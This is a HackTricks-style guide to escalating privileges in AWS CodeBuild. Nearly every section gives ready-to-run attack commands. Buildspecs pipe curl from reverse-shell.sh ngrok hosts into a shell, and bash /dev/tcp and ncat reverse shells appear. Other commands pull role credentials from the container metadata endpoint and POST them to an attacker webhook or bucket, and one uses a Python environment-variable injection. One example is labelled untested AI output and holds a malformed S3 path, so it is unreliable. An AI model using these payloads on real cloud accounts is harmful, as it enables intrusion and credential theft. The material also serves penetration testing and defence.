Skip to content

Latest commit

 

History

History
454 lines (326 loc) · 15 KB

File metadata and controls

454 lines (326 loc) · 15 KB

AWS - Codebuild Privesc

{{#include ../../../../banners/hacktricks-training.md}}

codebuild

Get more info in:

{{#ref}} ../../aws-services/aws-codebuild-enum.md {{#endref}}

codebuild:StartBuild | codebuild:StartBuildBatch

Only with one of these permissions it's enough to trigger a build with a new buildspec and steal the token of the iam role assigned to the project:

{{#tabs }} {{#tab name="StartBuild" }}

cat > /tmp/buildspec.yml <<EOF
version: 0.2

phases:
  build:
      commands:
            - curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml

{{#endtab }}

{{#tab name="StartBuildBatch" }}

cat > /tmp/buildspec.yml <<EOF
version: 0.2

batch:
  fast-fail: false
  build-list:
    - identifier: build1
      env:
        variables:
          BUILD_ID: build1
      buildspec: |
        version: 0.2
        env:
          shell: sh
        phases:
          build:
            commands:
              - curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
      ignore-failure: true
EOF

aws codebuild start-build-batch --project <project-name> --buildspec-override file:///tmp/buildspec.yml

{{#endtab }} {{#endtabs }}

Note: The difference between these two commands is that:

  • StartBuild triggers a single build job using a specific buildspec.yml.
  • StartBuildBatch allows you to start a batch of builds, with more complex configurations (like running multiple builds in parallel).

Potential Impact: Direct privesc to attached AWS Codebuild roles.

StartBuild Env Var Override

Even if you can't modify the project (UpdateProject) and you can't override the buildspec, codebuild:StartBuild still allows overriding env vars at build time via:

  • CLI: --environment-variables-override
  • API: environmentVariablesOverride

If the build uses environment variables to control behavior (destination buckets, feature flags, proxy settings, logging, etc.), this can be enough to exfiltrate secrets the build role can access or to get code execution inside the build.

Example 1: Redirect Artifact/Upload Destination to Exfiltrate Secrets

If the build publishes an artifact to a bucket/path controlled by an env var (for example UPLOAD_BUCKET), override it to an attacker-controlled bucket:

export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"

export BUILD_ID=$(aws codebuild start-build \
  --project-name "$PROJECT" \
  --environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
  --query build.id --output text)

# Wait for completion
while true; do
  STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
  [ "$STATUS" = "SUCCEEDED" ] && break
  [ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
  sleep 5
done

# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
Example 2: Python Startup Injection via PYTHONWARNINGS + BROWSER

If the build runs python3 (common in buildspecs), you can sometimes get code execution without touching the buildspec by abusing:

  • PYTHONWARNINGS: Python resolves the category field and will import dotted paths. Setting it to ...:antigravity.x:... forces importing the stdlib module antigravity.
  • antigravity: calls webbrowser.open(...).
  • BROWSER: controls what webbrowser executes. On Linux it is :-separated. Using #%s makes the URL argument a shell comment.

This can be used to print the CodeBuild role credentials (from http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) into CloudWatch logs, then recover them if you have log read permissions.

Expandable: StartBuild JSON request for the PYTHONWARNINGS + BROWSER trick
{
  "projectName": "codebuild_lab_7_project",
  "environmentVariablesOverride": [
    {
      "name": "PYTHONWARNINGS",
      "value": "all:0:antigravity.x:0:0",
      "type": "PLAINTEXT"
    },
    {
      "name": "BROWSER",
      "value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
      "type": "PLAINTEXT"
    }
  ]
}

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

An attacker with the iam:PassRole, codebuild:CreateProject, and codebuild:StartBuild or codebuild:StartBuildBatch permissions would be able to escalate privileges to any codebuild IAM role by creating a running one.

{{#tabs }} {{#tab name="Example1" }}

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
    \"name\": \"codebuild-demo-project\",
    \"source\": {
        \"type\": \"NO_SOURCE\",
        \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
    },
    \"artifacts\": {
        \"type\": \"NO_ARTIFACTS\"
    },
    \"environment\": {
        \"type\": \"LINUX_CONTAINER\",
        \"image\": \"aws/codebuild/standard:1.0\",
        \"computeType\": \"BUILD_GENERAL1_SMALL\"
    },
    \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

{{#endtab }}

{{#tab name="Example2" }}

# Generated by AI, not tested
# Create a buildspec.yml file with reverse shell command
echo 'version: 0.2
phases:
  build:
    commands:
      - curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml

# Upload the buildspec to the bucket and give access to everyone
aws s3 cp buildspec.yml s3:<S3_BUCKET_NAME>/buildspec.yml

# Create a new CodeBuild project with the buildspec.yml file
aws codebuild create-project --name reverse-shell-project --source type=S3,location=<S3_BUCKET_NAME>/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role <YOUR_HIGH_PRIVILEGE_ROLE_ARN> --timeout-in-minutes 60

# Start a build with the new project
aws codebuild start-build --project-name reverse-shell-project

{{#endtab }}

{{#tab name="Example3" }}

# Generated by ex16x41, tested
# Create a hook.json file with command to send output from curl credentials URI to your webhook address

{
    "name": "user-project-1",
    "source": {
        "type": "NO_SOURCE",
        "buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n      - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
    },
    "artifacts": {
        "type": "NO_ARTIFACTS"
    },
    "environment": {
        "type": "LINUX_CONTAINER",
        "image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
        "computeType": "BUILD_GENERAL1_SMALL"
    },
    "serviceRole": "ARN-OF-TARGET-ROLE"
}

# Create a new CodeBuild project with the hook.json file
aws codebuild create-project --cli-input-json file:///tmp/hook.json  

# Start a build with the new project
aws codebuild start-build --project-name user-project-1

# Get Credentials output to webhook address
Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from

{{#endtab }} {{#endtabs }}

Potential Impact: Direct privesc to any AWS Codebuild role.

Warning

In a Codebuild container the file /codebuild/output/tmp/env.sh contains all the env vars needed to access the metadata credentials.

This file contains the env variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI which contains the URL path to access the credentials. It will be something like this /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

Add that to the URL http://169.254.170.2/ and you will be able to dump the role credentials.

Moreover, it also contains the env variable ECS_CONTAINER_METADATA_URI which contains the complete URL to get metadata info about the container.

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Just like in the previous section, if instead of creating a build project you can modify it, you can indicate the IAM Role and steal the token

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
    \"name\": \"<codebuild-demo-project>\",
    \"source\": {
        \"type\": \"NO_SOURCE\",
        \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
    },
    \"artifacts\": {
        \"type\": \"NO_ARTIFACTS\"
    },
    \"environment\": {
        \"type\": \"LINUX_CONTAINER\",
        \"image\": \"aws/codebuild/standard:1.0\",
        \"computeType\": \"BUILD_GENERAL1_SMALL\"
    },
    \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Potential Impact: Direct privesc to any AWS Codebuild role.

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Like in the previous section but without the iam:PassRole permission, you can abuse this permissions to modify existing Codebuild projects and access the role they already have assigned.

{{#tabs }} {{#tab name="StartBuild" }}

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

JSON="{
    \"name\": \"<codebuild-demo-project>\",
    \"source\": {
        \"type\": \"NO_SOURCE\",
        \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
    },
    \"artifacts\": {
        \"type\": \"NO_ARTIFACTS\"
    },
    \"environment\": {
        \"type\": \"LINUX_CONTAINER\",
        \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
        \"computeType\": \"BUILD_GENERAL1_SMALL\",
        \"imagePullCredentialsType\": \"CODEBUILD\"
    }
}"

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

{{#endtab }}

{{#tab name="StartBuildBatch" }}

REV_PATH="/tmp/codebuild_pwn.json"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

# You need to indicate the name of the project you want to modify
JSON="{
    \"name\": \"project_name\",
    \"source\": {
        \"type\": \"NO_SOURCE\",
        \"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: build1\\\\n      env:\\\\n        variables:\\\\n          BUILD_ID: build1\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        env:\\\\n          shell: sh\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n      ignore-failure: true\\\\n\"
    },
    \"artifacts\": {
        \"type\": \"NO_ARTIFACTS\"
    },
    \"environment\": {
        \"type\": \"LINUX_CONTAINER\",
        \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
        \"computeType\": \"BUILD_GENERAL1_SMALL\",
        \"imagePullCredentialsType\": \"CODEBUILD\"
    }
}"

printf "$JSON" > $REV_PATH

# Note how it's used a image from AWS public ECR instead from dockerhub as dockerhub rate limits CodeBuild!

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build-batch --project-name codebuild-demo-project

{{#endtab }} {{#endtabs }}

Potential Impact: Direct privesc to attached AWS Codebuild roles.

SSM

Having enough permissions to start a ssm session it's possible to get inside a Codebuild project being built.

The codebuild project will need to have a breakpoint:

phases:
  pre_build:
    commands:
      - echo Entered the pre_build phase...
      - echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

And then:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

For more info check the docs.

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

An attacker able to start/restart a build of a specific CodeBuild project which stores its buildspec.yml file on an S3 bucket the attacker has write access to, can obtain command execution in the CodeBuild process.

Note: the escalation is relevant only if the CodeBuild worker has a different role, hopefully more privileged, than the one of the attacker.

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

You can use something like this buildspec to get a reverse shell:

version: 0.2

phases:
  build:
    commands:
      - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Impact: Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges.

Warning

Note that the buildspec could be expected in zip format, so an attacker would need to download, unzip, modify the buildspec.yml from the root directory, zip again and upload

More details could be found here.

Potential Impact: Direct privesc to attached AWS Codebuild roles.

{{#include ../../../../banners/hacktricks-training.md}}